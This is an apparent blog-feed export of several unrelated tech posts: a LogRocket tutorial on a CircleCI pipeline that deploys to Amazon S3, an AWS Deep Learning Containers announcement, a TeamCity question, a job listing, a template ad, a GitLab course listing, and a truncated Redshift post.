your actions and reactions are configured by setting up a special file in your source code; in this case, it’s a file named config.yml in the folder named .circleci. For the purposes of our tutorial, we’re going to do the following: Set up a simple front-end application and put its source code publicly on GitHubCreate and push the config.yml file that will contain the pipeline process definitionCreate a CircleCI account and wire it up with our GitHub accountFind a place to deploy the app (for this purpose, we’ll use Amazon S3 as the hosting service)Finally, run our automated build pipelinesThe whole process should take no more than 30 minutes. If you’re still with me, let’s get down to the list of preparations. You’ll need: The source code of some app — duh! Don’t worry, I’m providing you with the example JavaScript application repository that you can forkAn account on GitHubAn account on CircleCIAn account on Amazon AWSFirst step: Environment setupYou can start by forking and cloning the aforementioned repository to your local computer. For starters, let’s check what it does. After a successful fetch, you can navigate to the target directory and invoke the following commands: npm install npm startNow open up your browser and navigate to the http://localhost:8080 URL. You should see something like this: It’s a very simple front-end app that indicates the successful loading of .js and .css files in respective areas. You can look up the source code and see that it’s a very plain mechanism. Of course, you can continue with this tutorial while working with your own application; you’ll just need to change build script commands if necessary. As long as it’s a pretty standard app built by a node toolset such as npm, you should be good to go. Before we try to automate the process and set up our continuous magic, let’s build the app and manually put it into S3. This way, we’ll be sure our target environment is set up properly. We’ll start by building the app bundle locally. If you’re using our provided example app, you can achieve it by invoking the npm run build command. You should end up with a folder named dist appearing in your project’s root directory: Neat. Our app was built and the bundle was prepared. You can check how it behaves in a simulated server environment by invoking the npx serve -s dist command. This one will run a serve package, which is a micro HTTP server that will distribute the contents of the dist directory. After running the command, you can navigate to http://localhost:5000 in your browser. You should see the same view as in the development server mode. OK, now let’s put the app somewhere on the internet. To do this, we’ll start working with S3. Amazon S3, which is part of the AWS ecosystem, is a pretty simple concept: it gives you a bucket where you can upload any kind of file (including static HTML, CSS, and JavaScript assets) and enable a simple HTTP server to distribute them. And the best part is that (under certain circumstances) it’s free! First, start by logging in to the console: AWS login step 1: Providing an e-mail address for loginAWS login step 2: Providing a passwordNext, navigate to the S3 control panel by clicking Services and selecting S3 under Storage. Now we’ll create a new bucket to host our web application. Enter a name, consisting of alphanumeric characters and hyphens only. Next, select the proper region for the bucket, and write down both values — we’ll need them later. It’s important to set up proper permissions so the files will be public. To do so, click Next until you reach Set permissions. There, uncheck the first three boxes to enable public hosting of files: This way, HTTP servers will be able to expose uploaded files as the website. After finalizing the bucket, you can access it and see the empty file list: Click Upload, and you’ll be prompted to select the files you want to upload. You can select three bundle files from the dist folder and put them here. Again, it’s of the utmost important to navigate to Set permissions and select the Grant public read access to this object(s) option under the Manage public permissions box. Voilà! The files are there. There’s one last thing we need to enable our hosting on S3. Navigate to the Properties tab on the bucket view, find the Static website hosting option, and enable it: You’ll need to add index.html as your Index document; this will be the entry point to our app. Now, it seems to be ready. A link to your newly generated site is at the top of this dialog box. Click it to see your newly deployed app: Great, we have the website working — unfortunately, that’s not our goal. Nothing is automated here. You wouldn’t want to go through this process of logging in to the S3 console and uploading a bunch of files each time something changes; that’s the job for the robots. Let’s set up a continuous deployment process! Second step: Preparing CircleCI configurationIf you look closely at the code in our example repository, you can see that we’ve put a sample CD process definition there. Open the .circleci/config.yml file. https://medium.com/media/5c9de2380b89c259e04a7b326154c282/hrefAs mentioned before, config.yml is a file recognized by CircleCI containing the definition of a pipeline that will be invoked during the CD process. In this case, those 26 lines contain complete information about: What tools are needed to build the appWhat commands are used in the app building processWhere and how the app should be deployedIf you’re unfamiliar with YAML format, you’ll surely notice that it uses tabulation heavily. This is how these files are structured and organized: each section can have children, while the hierarchy is denoted by a tab consisting of double spaces. Now, let’s dissect this file section by section: version: 2.1 orbs:   aws-s3: circleci/aws-s3@1.0.4The lines above contain information about the interpreter version used and define additional packages (“orbs” in CircleCI nomenclature) necessary in the deployment process. In this case, we need to import an orb named aws-s3, which contains tools needed to send files to the S3 bucket. jobs:   build:     docker:       - image: circleci/python:2.7-node     environment:       AWS_REGION: us-east-1     steps:       - checkout       - run: npm install       - run: npm run build       - aws-s3/sync:           from: dist           to: 's3://demo-ci-cd-article/'           arguments: |             --acl public-read \             --cache-control "max-age=86400" \           overwrite: trueThe lines above carry information about the job definition — the heart of our pipeline. For starters, note that we have named our job build, which you can see in the second line of the section. We’ll see the same name later in the CircleCI console reports. In the next lines, by using the docker directive, we define which container (effectively, which virtual machine) will be used to build the app. If you’re not familiar with containerization and/or docker topics yet, you can safely imagine this step as selecting a virtual computer that will be enslaved to do the build task. In this case, it’s a linux VM with Python and Node.js on board; we need Python for the AWS S3 toolset to work and Node to build our front-end app. environment and AWS_REGION are the environment variables AWS needs to run. The exact value is irrelevant; S3 will work anyway. The next section — steps— should be more self-descriptive. Effectively, it’s a list of stages invoked one by one to finish the described job. The steps defined in this example are: checkout: grabs the source code from the repositoryrun: npm install: pretty straightforward. This installs the node dependenciesrun: npm run build: the heart of our pipeline. This step invokes the build of our codeaws-s3/sync: another important stage, this deploys (“synchronizes”) the contents of the dist directory in the given S3 bucket. Please note that this example uses demo-ci-cd-article as the bucket name; if you’re following this tutorial, you should change your bucket name to match this exampleDissecting CircleCI configurationOn a basic level, you can imagine a single job as the group of actions you would normally run on your local computer. This way, you just tell the VM what to do step by step. Likewise, you can consider it to be a somewhat unusual shell script with some extra powers. There is one significant principle regarding a job: every single step is expected to end up successful. If any single command fails, the remaining portion of the job will immediately stop, and the current run of the pipeline will be marked as FAILED. Job failure will be indicated later in the CI/CD console with relevant errors, which is a hint at what went wrong. There are various reasons for failure. For instance, in a pipeline meant to perform automatic testing, it might just indicate that a unit test failed and a certain developer needs to fix their code. Or it could be incorrect configuration of tools, which prevents successful build and deploy. Regardless of the reason, CI/CD processes usually notify admins (or culprits) about pipeline failure via email for proper remediation. That’s why it’s important to define our jobs in a relatively safe way; if something bad happens at a certain step, we need to make sure previous steps didn’t yield any permanent side effects. We’re getting close to the end. The last section is workflows: workflows:   version: 2.1   perform_build:     jobs:       - build:           filters:             branches:               only: masterIn CircleCI, the “workflow” is a group of jobs that are started together. Since we have only one job defined here (build), we could omit this one. By defining a workflow, however, we get access to an important feature: branch filtering. If you look closely at the last two lines of the configuration file, you’ll see a filters section. In this example, it contains branches: only: master. This means that, by definition, the build job should run only when code on the master branch changed. This way, we can filter out which branches we want to be “watched” by our CI/CD process. For instance, we can invoke different workflows (with different jobs) on distinct branches, build separate versions, or run tests only in particular circumstances. Final step: Our CircleCI in actionIf you haven’t done it yet, connect your GitHub account with CircleCI by selecting Log In with GitHub. After logging in to GitHub and authorizing the CircleCI integration, you should see a sidebar with an option to Add project. Click it to see the list of your active GitHub repositories: We’ll assume you’ve got one repository that you have either cloned from the example or prepared for yourself (remember about the proper .circleci/config.yml file). Locate this project in the list and click Set Up Project next to it. You should see an information screen that describes the principles of CircleCI: See the Start building button at the bottom? Yep, that’s it — click it to enable our automated process and make this machinery do the job for us. After clicking this one, you will see … an error. Bummer. There is one thing we still need to configure: the mechanism that makes the CircleCI API authorize to AWS. Until now, we haven’t put our AWS password anywhere in the code, GitHub, or CircleCI. There’s no way for AWS to know it’s us asking to put things in S3, hence the error. We can fix it by changing our projects settings in the CircleCI panel. To enter it, click the gear icon in the top right corner, then locate the AWS permissions tab on the left pane. You should see something like this: Access Key ID and Secret Access Key are special AWS authorization values that allow third-party services like CircleCI to do stuff for you — for instance, upload files to an S3 bucket. Initially, those keys will have the same permissions as the user to whom they are assigned. You can generate these in the IAM section of the AWS console. There, expand the Access keys (access key ID and secret access key) pane. Click Create New Access Key and generate a key pair you can copy into CircleCI: Click Save AWS keys, and we should be good to go. You can either try to reinitialize the repository on CircleCI, or use the quicker way: go to the failed attempt report, locate the Rerun workflow button, and click it. There should be no unaddressed issues now, and the build should finish seamlessly. Yay! You can log in to the S3 console and check the file modification time. It should indicate that files are freshly uploaded. But it’s not the end just yet — let’s see how the “continuous” part does work. I’m going back to the code editor to introduce a small change in the source code of the app (index.html): Now, let’s push the code to the repository: git add . git commit -m “A small update!” git push origin masterYou can see the magic happening in the CircleCI panel. In the blink of an eye, just after the successful push, you should see that CircleCI consumed the updated code and started building it automatically: After a few seconds, you should see a SUCCESS message. Now, you can navigate to your S3-hosted web page and refresh it to see that changes were applied: That’s it! It’s all happening automatically: you push the code, some robot on the internet builds it for you, and deploys it to the production environment. What’s next?Of course, this was just a small example. Now we have a good opportunity to review a more complicated use case — for instance, deploying to multiple environments and changing the app’s behavior based on that. If you go back to our example source code, you’ll notice there are two separate build scripts in package.json: one for production and one for staging. Since it’s only an example project, it doesn’t introduce any heavy changes; here, it just ends up in a different JavaScript console message. After running the app built with the staging variant and opening the browser, you should see the relevant log entry in the JavaScript console: Now, we can take advantage of this mechanism and extend our build pipelines. Consider the following code: https://medium.com/media/479f229d28d580ba199f21dec2faf950/hrefNote that we’ve added a new job and a new workflow named build-staging. There are two differences: the new job invokes the previously mentioned  npm run build:staging method, and the respective workflow is being filtered by the develop branch. This means all changes being pushed to develop will invoke the “staging” build, while all changes on the master branch will retain their original behavior and trigger the “production” build. In this case, both end up in the same S3 bucket, but we can always change that and have separate target environments. Give it a try: create a new develop branch based on master and push it to the repo. In your CircleCI console, you should see that distinct workflow has been invoked: The respective change was just pushed to the S3 bucket, but this time, it’s a staging build originating from the develop branch. Your multiversion build is working perfectly. Neat — we’re getting close to our original workflow from the previous part of the article! The continuous integration partWe’ve dealt with the continuous deployment part, but what about continuous integration? As we already discussed, this one is related to performing regular checks of your code quality, i.e., running tests. If you look closely at the example repository, you can see that a sample unit test is added there. You can invoke it by running the npm run test command. It doesn’t do much; it just compares a dummy function result to some pattern by assertion: https://medium.com/media/9630a7a9faedf42186e060da249ff6e9/hrefhttps://medium.com/media/8cda968d1aefc9cebea84cd74c009ed8/hrefWe can include this test in our pipeline, then set up our repository to perform it on every pull request created. In order to achieve it, we’ll start by creating a new job and new workflow in our config.yml: https://medium.com/media/eac8481a34ad85887940ac87cb7995bd/hrefWe have defined a new job and a new workflow named test. Its sole purpose is invoking the npm run test script for us. You can push this file to the repository and check what happened in the CircleCI console: A new workflow was automatically invoked, which resulted in a successful test run. Now, let’s wire it up with our GitHub repository. It’s possible to integrate this job to run every time a new pull request to a particular branch is being created. To do it, you need to open your GitHub project page and navigate to the Settings view. There, select the Branches tab: By clicking Add rule, you can add a new policy that will enforce performing certain checks before allowing a pull request to be merged. One of the available checks is invoking the CircleCI workflow, as you can see below: By checking the Require status checks to pass before merging box and selecting ci/circleci: test below, we have just set the rule to run this workflow as a prerequisite for a pull request to be valid. You can test this behavior by attempting to create a new pull request and expanding the Checks pane: Of course, we can break it. You can try to create a commit that will cause the test to fail, put it on a new branch, and create a pull request: We have broken the successful test — the assertion will fail with the below input: assert.equal(getMessage(), 'True!');--&gt;&gt; node src/modules/jsChecker.test.jsassert.js:42   throw new errors.AssertionError({   ^AssertionError [ERR_ASSERTION]: 'True, but different!' == 'True!'     at Object.Now the pull request won’t be available for merging since it is trying to introduce the code that makes the tests fail: Neat! Our example project is pretty well covered by continuous testing, and no one will succeed in introducing bad code to the production branch as long as the test cases are properly written. The same mechanism can be used to perform code linting, static code analysis, E2E tests, and other automatic checks. OK, that’s it! Although our example project is awfully simple, it’s entangled with real, working CI/CD process. Both integration and deployment are orchestrated by a robot living in a cloud, so you can shift all your focus to the coding. Regardless of the number of people involved, your machinery will tirelessly work for you and check if everything is in place. Of course, setting everything up also took some time; but in the long term, the benefits of delegating all the mundane work are invaluable. Of course, it’s not a free paradise forever: sooner or later, additional costs will be involved here. For instance, CircleCI provides 1,000 minutes of build per month for free. It should be pretty sufficient for smaller teams and simple open source projects, but any larger enterprise project will surely exceed this quota. Further readingWe’ve reviewed the basics, but there are still plenty of other important subjects untouched by this post. One is making use of environment variables. Usually, you wouldn’t want to hold passwords, API keys, and other sensitive info directly in the source code. In a scenario where CI/CD automation gets involved, you’ll need to feed the machine with proper variables first — just like we did with the AWS secret password in this example. Apart from that, environment variables are used to control the flow of the building, e.g., which target should be built or which features of the app should be enabled in a particular version. You may want to read more about their use in CircleCI. Another topic: many CI/CD processes introduce the idea of artifact management. An artifact is a general name for the code resulting from a particular build process. For example, a bundled package or a generated container image holding the particular version of the app can be an artifact. In certain organizations, proper management of versioned artifacts is important due to various requirements; for instance, they might be cataloged and archived for rollback or legal purposes. Another important subject is the vast world of roles, permissions, and security. This post is related to the basic technical aspects of defining pipelines and workflow, but in large, real-life projects, it’s necessary to take the organization’s processes and strategies into consideration. For instance, we would want to have certain pipelines invoked or approved only by a certain person in the company’s structure. Another example is fine-grained access to particular pipeline settings or VM configurations. But again, it’s all a matter of software used and particular project/company requirements; there is no single schema for a good automation process, just as there’s no single recipe for a good IT project. ConclusionWhew. We’re there. What did you just achieve by reading this post? Most importantly, you now have a general understanding of what happens behind the curtain in “serious” projects. Regardless of the approach and software used, principles will be always similar: there will be tasks, pipelines, and agents that do the job. Hopefully, this big, scary concept isn’t so scary anymore. Finally, you had a chance to create your own working CI/CD pipeline and deploy an application to the cloud using automation. What can you do next? Of course, expand your knowledge and strive to be better. If you’re working on a project for a company, you can try to play with the code and invent your own testing/deploying pipeline after hours. You can (or even should) introduce an automatic testing and/or packaging process in your next open source project. You can also become familiar with more CI/CD software specimens: Travis, Jenkins, or Azure DevOps. Also, you can check out other posts related to front-end development on my profile. Good luck on your journey! Plug: LogRocket, a DVR for web appshttps://logrocket.com/signup/LogRocket is a frontend logging tool that lets you replay problems as if they happened in your own browser. Instead of guessing why errors happen, or asking users for screenshots and log dumps, LogRocket lets you replay the session to quickly understand what went wrong. It works perfectly with any app, regardless of framework, and has plugins to log additional context from Redux, Vuex, and @ngrx/store. In addition to logging Redux actions and state, LogRocket records console logs, JavaScript errors, stacktraces, network requests/responses with headers + bodies, browser metadata, and custom logs. It also instruments the DOM to record the HTML and CSS on the page, recreating pixel-perfect videos of even the most complex single-page apps. Try it for free. From front-end developer to a DevOps: An intro to CI/CD was originally published in LogRocket on Medium, where people are continuing the conversation by highlighting and responding to this story.</text><languageCode>en</languageCode><locationCode>us</locationCode><coordinates /><links><link>https://www.logrocket.com/signup</link><link>https://en.wikipedia.org/wiki/Continuous_delivery</link><link>https://www.atlassian.com/continuous-delivery/principles/continuous-integration-vs-delivery-vs-deployment</link><link>https://www.circleci.com/</link><link>https://www.github.com/hzub/demo-ci-cd</link><link>https://www.github.com/join</link><link>https://www.circleci.com/signup</link><link>https://portal.aws.amazon.com/billing/signup#/start</link><link>https://www.github.com/hzub/demo-ci-cd</link><link>https://www.medium.com/media/5c9de2380b89c259e04a7b326154c282/href</link><link>https://www.circleci.com/vcs-authorize</link><link>https://console.aws.amazon.com/iam/home#/security_credentials</link><link>https://www.medium.com/media/479f229d28d580ba199f21dec2faf950/href</link><link>https://www.medium.com/media/9630a7a9faedf42186e060da249ff6e9/href</link><link>https://www.medium.com/media/8cda968d1aefc9cebea84cd74c009ed8/href</link><link>https://www.medium.com/media/eac8481a34ad85887940ac87cb7995bd/href</link><link>https://www.circleci.com/docs/2.0/env-vars</link><link>https://www.medium.com/@hubert.zub</link><link>https://www.logrocket.com/signup</link><link>https://www.logrocket.com/signup</link><link>https://www.logrocket.com/signup</link><link>https://www.logrocket.com/signup</link><link>https://www.logrocket.com/signup</link><link>https://blog.logrocket.com/from-front-end-developer-to-a-devops-an-intro-to-ci-cd-7a8a8713fb34</link><link>https://blog.logrocket.com/</link></links><tags><tag>continuous-deployment</tag><tag>software-engineering</tag><tag>software-development</tag><tag>continuous-integration</tag><tag>front-end-development</tag></tags><images /><indexedAt>2019-03-27T18:46:14Z</indexedAt><publishedAt>2019-03-27T18:00:32Z</publishedAt><reindexedAt>2019-03-27T18:46:14Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>4751208114064069927</blogId><blogName>LogRocket - Medium</blogName><blogUrl>https://blog.logrocket.com?source=rss----7f3d96429888---4</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>17495240334663590315</id><author>magsforumtekno6399</author><url>https://magsforumtechno.wordpress.com/2019/03/28/push-source-files-from-azure-devops-to-networked-computer-using-teamcity/</url><title>Push source files from Azure DevOps to networked computer using TeamCity</title><text>Our current system gets files from a dropbox style repository but we are no longer allowed to do this.  
Our solution seemed to be to use github (through our Azure DevOps subscription) to host the files and use TeamCity to deploy this to our workstations.  
I have a network directory for each workstation, each of the workstation’s files are in a separate branch on Azure, I need help with setting up TeamCity to deploy these files when a change is made to any of the branches and then deploy the repo files to the appropriate workstation.</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links /><tags><tag>Tak Berkategori</tag></tags><images /><indexedAt>2019-03-27T17:55:36Z</indexedAt><publishedAt>2019-03-27T17:55:23Z</publishedAt><reindexedAt>2019-03-27T17:55:36Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>14845594595163898758</blogId><blogName>Mags Forum Technology</blogName><blogUrl>https://magsforumtechno.wordpress.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>16017323465874056538</id><author>Garrett Lestochi</author><url>https://netofeverything.blogspot.com/2019/03/new-aws-deep-learning-containers.html</url><title>New – AWS Deep Learning Containers</title><text>We want to make it as easy as possible for you to learn about deep learning and to put it to use in your applications. If you know how to ingest large datasets, train existing models, build new models, and to perform inferences, you’ll be well-equipped for the future! New Deep Learning Containers Today I would like to tell you about the new AWS Deep Learning Containers. These Docker images are ready to use for deep learning training or inferencing using TensorFlow or Apache MXNet, with other frameworks to follow. We built these containers after our customers told us that they are using Amazon EKS and ECS to deploy their TensorFlow workloads to the cloud, and asked us to make that task as simple and straightforward as possible. While we were at it, we optimized the images for use on AWS with the goal of reducing training time and increasing inferencing performance. The images are pre-configured and validated so that you can focus on deep learning, setting up custom environments and workflows on Amazon ECS, Amazon Elastic Container Service for Kubernetes, and Amazon Elastic Compute Cloud (EC2) in minutes! You can find them in AWS Marketplace and Elastic Container Registry, and use them at no charge. The images can be used as-is, or can be customized with additional libraries or packages. Multiple Deep Learning Containers are available, with names based on the following factors (not all combinations are available): Framework – TensorFlow or MXNet.Mode – Training or Inference. You can train on a single node or on a multi-node cluster.Environment – CPU or GPU.Python Version – 2.7 or 3.6.Distributed Training – Availability of the Horovod framework.Operating System – Ubuntu 16.04.Using Deep Learning Containers In order to put an AWS Deep Learning Container to use, I create an Amazon ECS cluster with a p2.8xlarge instance:  $ aws ec2 run-instances --image-id  ami-0ebf2c738e66321e6 \   --count 1 --instance-type p2.8xlarge \   --key-name keys-jbarr-us-east ...  I verify that the cluster is running, and check that the ECS Container Agent is active:  Then I create a task definition in a text file (gpu_task_def.txt):  {   "requiresCompatibilities": [     "EC2"   ],   "containerDefinitions": [     {       "command": [         "tensorflow_model_server --port=8500 --rest_api_port=8501 --model_name=saved_model_half_plus_two_gpu  --model_base_path=/models/saved_model_half_plus_two_gpu"       ],       "entryPoint": [         "sh",         "-c"       ],       "name": "EC2TFInference",       "image": "841569659894.dkr.ecr.us-east-1.amazonaws.com/sample_tf_inference_images:gpu_with_half_plus_two_model",       "memory": 8111,       "cpu": 256,       "resourceRequirements": [         {           "type": "GPU",           "value": "1"         }       ],       "essential": true,       "portMappings": [         {           "hostPort": 8500,           "protocol": "tcp",           "containerPort": 8500         },         {           "hostPort": 8501,           "protocol": "tcp",           "containerPort": 8501         },         {           "containerPort": 80,           "protocol": "tcp"         }       ],       "logConfiguration": {         "logDriver": "awslogs",         "options": {           "awslogs-group": "/ecs/TFInference",           "awslogs-region": "us-east-1",           "awslogs-stream-prefix": "ecs"         }       }     }   ],   "volumes": [],   "networkMode": "bridge",   "placementConstraints": [],   "family": "Ec2TFInference" } I register the task definition and capture the revision number (3): Next, I create a service using the task definition and revision number:  I use the console to navigate to the task:  Then I find the external binding for port 8501:  Then I run three inferences (this particular model was trained on the function y = ax + b, with a = 0.5 and b = 2):  $ curl -d '{"instances": [1.0, 2.0, 5.0]}' \   -X POST http://xx.xxx.xx.xx:8501/v1/models/saved_model_half_plus_two_gpu:predict {     "predictions": [2.5, 3.0, 4.5     ] } As you can see, the inference predicted the values 2.5, 3.0, and 4.5 when given inputs of 1.0, 2.0, and 5.0. This is a very, very simple example but it shows how you can use a pre-trained model to perform inferencing in ECS via the new Deep Learning Containers. You can also launch a model for training purposes, perform the training, and then run some inferences. — Jeff;     from AWS News Blog https://ift.tt/2FBCHXZ via IFTTT</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://aws.amazon.com/deep-learning</link><link>https://aws.amazon.com/machine-learning/containers</link><link>https://www.tensorflow.org/</link><link>https://mxnet.apache.org/</link><link>https://aws.amazon.com/ecs</link><link>https://aws.amazon.com/eks</link><link>https://aws.amazon.com/ec2</link><link>https://aws.amazon.com/marketplace</link><link>https://aws.amazon.com/ecr</link><link>https://www.github.com/horovod/horovod</link><link>https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ECS_agent.html</link><link>https://www.github.com/tensorflow/serving/blob/master/tensorflow_serving/servables/tensorflow/testdata/saved_model_half_plus_two.py</link><link>https://www.twitter.com/jeffbarr</link><link>http://feeds.feedburner.com/~ff/AmazonWebServicesBlog?a=E1EvRw9-4QY:pcZ9P8Gs4U8:yIl2AUoC8zA</link><link>http://feeds.feedburner.com/~ff/AmazonWebServicesBlog?a=E1EvRw9-4QY:pcZ9P8Gs4U8:dnMXMwOfBR0</link><link>http://feeds.feedburner.com/~ff/AmazonWebServicesBlog?a=E1EvRw9-4QY:pcZ9P8Gs4U8:7Q72WNTAKBA</link><link>https://www.ifttt.com/?ref=da&amp;site=blogger</link></links><tags><tag>AWS News Blog</tag><tag>IFTTT</tag></tags><images /><indexedAt>2019-03-27T17:59:19Z</indexedAt><publishedAt>2019-03-27T17:46:00Z</publishedAt><reindexedAt>2019-03-27T17:59:19Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>5030937969431412293</blogId><blogName>Internet of Things, Wearable, Sensor and Data Technologies</blogName><blogUrl>https://netofeverything.blogspot.com/</blogUrl><blogRank>1</blogRank><authority>1</authority></post><post><id>10713404454765347089</id><author>仕事中毒者</author><url>http://workaholic.jp/blog-entry-39642.html</url><title>【Swift】エンタメ/新規アプリ開発【業務委託】</title><text>【Swift】エンタメ/新規アプリ開発 月額単価：～80万円 雇用形態：業務委託 勤務地域：渋谷（東京都） 業務内容：Unicorn、Hadoop、Nginx、AWS、Rails、Python、Kotlin、Swift、Ruby、Go、C言語、Java、C++、Hive、Memcache、Ansible、Jenkins、Zabbix、Chef、GitHub、JIRA、Android、Unix、iOS、Linux、Redis、MySQL案件。エンタメの新規アプリ開発に携わって頂きます。プロダクトやサービスの成長を左右するフェーズで、設計から幅広く担当して頂きます。経験がある方は、アーキテクチャ周りや技術の選定、 ... 仕事の紹介はこちら 掲載元ページへ</text><languageCode>ja</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://px.a8.net/svt/ejp?a8mat=2ZN7UA+BUAEOQ+3UES+60WN6</link><link>https://freelance.levtech.jp/project/detail/31716</link></links><tags><tag>その他（システム開発）</tag></tags><images /><indexedAt>2019-03-27T18:17:39Z</indexedAt><publishedAt>2019-03-27T17:45:23Z</publishedAt><reindexedAt>2019-03-27T18:17:39Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>15989120119104967048</blogId><blogName>仕事中毒 - workaholic - IT関連の副業やフリーランス向けお仕事情報を紹介。</blogName><blogUrl>http://workaholic.jp</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>15930453153204502056</id><author>JaeHo Park</author><url>https://xtheme.us/blog/dabba-a-html-template-for-blog-shop/</url><title>Dabba – A HTML Template For Blog &amp; Shop</title><text>LIVE PREVIEWBUY NOW $17 
 
Dabba Blog is a minimalist trendy and modern HTML template for Blog and Shop. It is formulated considering all requirements and the need to design a scenic website.  
    Dabba is a fully Bootstrap 4 based template. All bootstrap elements are predefined. 
Development version is included in package like SCSS and .pug files. 
template Features

Clean and clear design
Build multiple pages and pages on a page
Labor PHP contact form
Boxed or wide layouts via a single body class
Multi-column "mega-menu" and double-level drop-down menus.
Menu navigation on hover or click
250+ unique items with different styles.
180+ Completely receptive HTML template files
More headlines included
Slick the slider
Sticky header
Build with Bootstrap
Bootstrap responsive and retina ready
Instagram feed integration
Twitter feed integration
Testimonial grid and carousel
Mansory, Full blog layout with sidebars
Lightbox Galleries
Team members and Partner grid and carousel
Unique and modern style
HTML5, YouTube and Vimeo videos
Smooth scroll with a page on the website ready demo
Easily custom files
Countdown Timer
Filtering category filters
W3C Validate
Fully Responsive
Multipage Variations
AJAX Contact Form Ready
Major Browser Compatible
FontAwesome icon fonts
Well documented
Free Google Web Fonts
Multi-Column Layout
Font awesome 5
Easy to adjust and reusable code
Develops friendly, well-commented and structured code
Free updates
Support 24/7
And much more…

Sources and credits 

bootstrap frames
Fonts: &amp; # 39; Poppins &amp; # 39; from Google Fonts
Pictures and graphics content: unsplash.com
JS: isotope. smooth shooter.  Countdown. countTo.js, Relaxation, Magnific Popup, instafeed.min.js, twitter-fetcher_min.js, imagesloaded.pkgd.min.js

Note: 

Images are not included in the main download file.
This is only an HTML / CSS template and not a WordPress or other CMS theme.



Source 
The post Dabba – A HTML Template For Blog &amp; Shop appeared first on X Theme.</text><languageCode>en</languageCode><locationCode>us</locationCode><coordinates /><links><link>https://1.envato.market/o11m?u=https:%2F%2Fthemeforest.net%2Fitem%2Fdabba-a-html-template-for-blog-shop%2Ffull_screen_preview%2F23007748</link><link>https://1.envato.market/o11m?u=https:%2F%2Fthemeforest.net%2Fitem%2Fdabba-a-html-template-for-blog-shop%2F23007748</link><link>https://www.getbootstrap.com/</link><link>http://isotope.metafizzy.co/</link><link>http://kenwheeler.github.io/slick</link><link>http://hilios.github.io/jQuery.countdown</link><link>https://www.github.com/mhuggins/jquery-countTo</link><link>http://www.dimsemenov.com/plugins/magnific-popup</link><link>https://1.envato.market/o11m?u=https:%2F%2Fthemeforest.net%2Fitem%2Fdabba-a-html-template-for-blog-shop%2F23007748</link></links><tags><tag>HTML Templates</tag><tag>html</tag><tag>html template</tag><tag>html template themeforest</tag></tags><images /><indexedAt>2019-03-27T17:36:44Z</indexedAt><publishedAt>2019-03-27T17:35:53Z</publishedAt><reindexedAt>2019-03-27T17:36:44Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>2578651786206368706</blogId><blogName>X Theme</blogName><blogUrl>https://xtheme.us</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>63436102556562189</id><author>Zaljubljeni</author><url>http://www.sdcv.pl/121-kursy-nauka-jezykow/1509426-continuous-delivery-with-gitlab.html</url><title>Continuous Delivery with GitLab</title><text>Continuous Delivery with GitLab 
.MP4, AVC, 200 kbps, 1280x720 | English, AAC, 160 kbps, 2 Ch | 2h 5m | 283MB 
Instructor: Josh Samuelson 
 
GitLab is a popular open-source alternative to tools like GitHub and Bitbucket. In contrast to its competition, GitLab places an emphasis on self-hosting (although you can use their hosted version as well). In this course, learn how to install and use this web-based Git-repository manager for code management. Instructor Josh Samuelson kicks off the course by explaining how to create a project and navigate the GitLab interface. He then digs into how to work with GitLab for continuous integration and continuous delivery (CI/CD) and source control, explaining how to leverage its collaboration features, create and run a pipeline, and more. 
 
Topics include: 
 
Navigating the GitLab interface 
Using GitLab for collaboration 
Merging requests 
Continuous integration and continuous delivery 
Creating and running a pipeline 
Deploying a project using GitLab 
 
More Info 

	Kod:
	 
Treść widoczna tylko dla użytkowników forum SdCv.pl 
Zaloguj się lub załóż darmowe konto na forum aby uzyskać dostęp bez limitów.
[/code] 
 
 
 

	Kod:
	 
Treść widoczna tylko dla użytkowników forum SdCv.pl 
Zaloguj się lub załóż darmowe konto na forum aby uzyskać dostęp bez limitów.

	Kod:
	 
Treść widoczna tylko dla użytkowników forum SdCv.pl 
Zaloguj się lub załóż darmowe konto na forum aby uzyskać dostęp bez limitów.
 
...</text><languageCode>en</languageCode><locationCode>pl</locationCode><coordinates /><links /><tags><tag>Kursy / Nauka języków</tag></tags><images /><indexedAt>2019-03-27T18:34:01Z</indexedAt><publishedAt>2019-03-27T17:35:03Z</publishedAt><reindexedAt>2019-03-27T18:34:01Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>367046150808983204</blogId><blogName>Sdcv.pl - Forum komputerowe</blogName><blogUrl>http://www.sdcv.pl</blogUrl><blogRank>1</blogRank><authority>8</authority></post><post><id>14286264133846525091</id><author>Garrett Lestochi</author><url>https://netofeverything.blogspot.com/2019/03/new-concurrency-scaling-for-amazon.html</url><title>New – Concurrency Scaling for Amazon Redshift – Peak Performance at All Times</title><text>Amazon Redshift is a data warehouse that can expand to exabyte-scale. Today, tens of thousands of AWS customers (including NTT DOCOMO, Finra, and Johnson &amp; Johnson) use Redshift to run mission-critical BI dashboards, analyze real-time streaming data, and run predictive analytics jobs. A challenge arises when the number of concurrent queries grows at peak times. When a multitude of business analysts all turn to their BI dashboards or long-running data science workloads compete with other workloads for resources, Redshift will queue queries until enough compute resources become available in the cluster. This ensures that all of the work gets done, but it can mean that performance is impacted at peak times. Two options present themselves: Overprovision the cluster to meet peak needs. This option addresses the immediate issue, but wastes resources and costs more than necessary.Optimize the cluster for typical workloads. This option forces you to wait longer for results at peak times, possibly delaying important business decisions.New Concurrency Scaling Today I would like to offer a third option. You can now configure Redshift to add more query processing power on an as-needed basis. This happens transparently and in a manner of seconds, and provides you with fast, consistent performance even as the workload grows to hundreds of concurrent queries. Additional processing power is ready in seconds and does not need to be pre-warmed or pre-provisioned. You pay only for what you use, with per-second billing and also accumulate one hour of concurrency scaling cluster credits every 24 hours while your main cluster is running. The extra processing power is removed when it is no longer needed, making this a perfect way to address the bursty use cases that I described above. You can allocate the burst power to specific users or queues, and you can continue to use your existing BI and ETL applications. Concurrency Scaling Clusters are used to handle many forms of read-only queries, with additional flexibility in the works; read about Concurrency Scaling to learn more. Using Concurrency Scaling This feature can be enabled for an existing cluster in minutes! We recommend starting with a fresh 